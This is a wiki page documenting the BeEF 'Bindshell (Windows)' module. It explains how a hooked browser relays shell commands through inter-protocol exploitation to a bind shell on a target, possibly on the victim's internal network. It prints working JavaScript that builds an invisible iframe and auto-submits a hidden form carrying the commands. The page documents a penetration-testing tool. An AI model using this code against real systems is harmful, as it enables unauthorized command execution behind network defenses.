2

Module: Bindshell (Windows)

Haoxi Tan edited this page 2020-01-09 10:57:59 +10:00

Table of Contents

• Summary
• Internal Working
• References
• Feedback

Summary

• Objective: Execute command on a Windows bindshell

• Authors: bcoles, wade

• Browsers: Firefox, Chrome

• Code

Internal Working

Using Inter-Protocol Exploitation/Communication (IPEC) the hooked browser will send commands to a listening Windows shell bound on the target specified in the 'Target Address' input field.

The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.

The results of the commands are not returned to BeEF.

Note: ampersands are used to seperate commands.

// send commands
var win_ipec_form_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html?&cmd&", cmd + " & exit");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Shell commands sent');

//createIframeIpecForm function

createIframeIpecForm: function(rhost, rport, path, commands){
    var iframeIpec = beef.dom.createInvisibleIframe();

    var formIpec = document.createElement('form');
    formIpec.setAttribute('action',  'http://'+rhost+':'+rport+path);
    formIpec.setAttribute('method',  'POST');
    formIpec.setAttribute('enctype', 'multipart/form-data');

    input = document.createElement('textarea');
    input.setAttribute('name', Math.random().toString(36).substring(5));
    input.value = commands;
    formIpec.appendChild(input);
    iframeIpec.contentWindow.document.body.appendChild(formIpec);
    formIpec.submit();

    return iframeIpec;
}

References

Some ports are restricted in newer versions of Chrome-like browsers and Firefox e.g. (21,22,23,25,513 etc.) https://e1tips.com/2014/03/17/allow-firefox-chrome-to-access-restricted-ports/

Feedback

I - Starting BeEF

1. Introducing BeEF
2. Installation
3. Basics
4. Troubleshooting

II - Basic Utilization

1. Configuration
2. Interface
3. Information Gathering
4. Social Engineering
5. Network Discovery
6. Metasploit
7. Tunneling
8. XSS Rays
9. Persistence
10. Creating a Module
11. Geolocation
12. Using-BeEF-With-NGROK

III - Advanced Utilization

1. RESTful API
2. Autorun Rule Engine
3. Notifications
4. Console
5. WebRTC Extension

IV - Development

1. Contributing
2. ActiveRecord
3. Development Organization
4. Architecture
5. BeEF Javascript API
6. Step By Step Module Creation
7. Creating a New Extension
8. BeEF Testing
9. Browser & OS Compatibility
10. Database Schema
11. Development Milestones
12. Command Module Config
13. Command Module API

V - References

1. FAQ
2. Other
3. References
4. Modules
5. Release Notes

User Guide

I. Introduction   |   II. Basic Utilization   |   III. Advanced Utilization   |   IV. Development   |   V. References

Community

Blog   |   Code   |   Youtube   |   Twitter